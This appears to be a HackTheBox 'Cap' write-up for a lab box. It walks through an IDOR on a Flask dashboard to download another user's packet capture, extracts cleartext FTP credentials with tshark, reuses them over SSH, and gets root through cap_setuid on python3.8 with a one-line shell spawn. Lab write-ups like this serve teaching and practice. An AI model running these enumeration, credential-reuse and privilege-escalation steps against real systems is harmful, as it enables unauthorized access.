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๐Ÿ“… Last Updated: Nov 01, 2026 19:59 | ๐Ÿ“„ Size: 5.0 KB | ๐ŸŽฏ Type: HackTheBox Writeup | ๐ŸŽš๏ธ Difficulty: Easy | ๐Ÿ”— Back to Categories

Machine Summary :

We abuse an IDOR on a Flask "Security Dashboard" to grab a packet capture we never triggered, pull cleartext FTP creds out of it, reuse them over SSH for the user flag, then ride cap_setuid on python3.8 straight to root.

Enumeration :

Let's start off with a full nmap scan.

sudo nmap -Pn -n -p- -A -T4 -v 10.129.93.185 -oN nmap.txt
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard

Three ports: FTP (vsftpd 3.0.3), SSH, and a Gunicorn web app titled "Security Dashboard". FTP anonymous login connects but the listing is empty, so the web app on 80 is the way in.

The Security Dashboard :

The site is a Flask app behind Gunicorn, a "Security Dashboard" logged in as user Nathan.

HTB Cap Security Dashboard homepage showing security events and failed login charts

Reading the nav links out of the page gives us the interesting endpoints:

curl -s http://10.129.93.185/ | grep -oE 'href="[^"]+"'
href="/capture"
href="/ip"
href="/netstat"

/capture is the one that matters. It runs a 5 second packet capture on the box, then redirects us to /data/<id> to show the analysis. Watching that redirect, the id is just a sequential integer.

curl -s -o /dev/null -w "%{http_code}\n" http://10.129.93.185/capture   # 302 -> /data/<id>

๐Ÿ’ก The bug: IDOR on /data/<id>. The capture id is a predictable number and nothing checks that the capture is ours. So we don't have to trigger our own, we can just walk the ids backwards. /data/0 is the very first capture the app ever took, which is the one an admin process generated, not us.

for p in data/0 data/1; do echo -n "/$p -> "; curl -s -o /dev/null -w "%{http_code}\n" http://10.129.93.185/$p; done
/data/0 -> 200
/data/1 -> 200

/data/0 loads fine and hands us a Download button for its pcap.

The /data/0 capture analysis page with 72 packets and a Download button

Reading the capture :

We pull the raw pcap down through the download route.

curl -s -o 0.pcap http://10.129.93.185/download/0
file 0.pcap
0.pcap: pcap capture file ... (Linux cooked v1 ...)

FTP is cleartext, so any USER / PASS in that capture is right there. We dump the FTP command stream with tshark.

tshark -r 0.pcap -Y 'ftp.request' -T fields -e ftp.request.command -e ftp.request.arg
USER   nathan
PASS   Buck3tH4TF0RM3!
SYST
LIST
RETR   notes.txt
QUIT

There it is, nathan:Buck3tH4TF0RM3! in plaintext.

Foothold :

The password is reused for SSH, so we just log in.

sshpass -p 'Buck3tH4TF0RM3!' ssh nathan@10.129.93.185
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

USER FLAG :

nathan@cap:~$ cat user.txt

We can submit the user flag.

Privilege Escalation :

First thing I check on a box like this is file capabilities, since the whole theme is networking tools that need extra privileges.

getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

python3.8 has cap_setuid+eip. That is game over.

๐Ÿ’ก Why cap_setuid is full root. cap_setuid lets the binary change its UID to anything, including 0, without being SUID. So we just call os.setuid(0) inside Python and then spawn a shell, which now runs as root. The capability does the privilege change for us.

Linux capabilities split root's power into units a binary can hold on its own. cap_setuid is the unit that controls setting the process UID, so a Python interpreter carrying it can become root at will.

python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

ROOT FLAG :

root@cap:~# cat /root/root.txt

And we now have the root flag.

Hope you enjoyed reading this ๐ŸŒน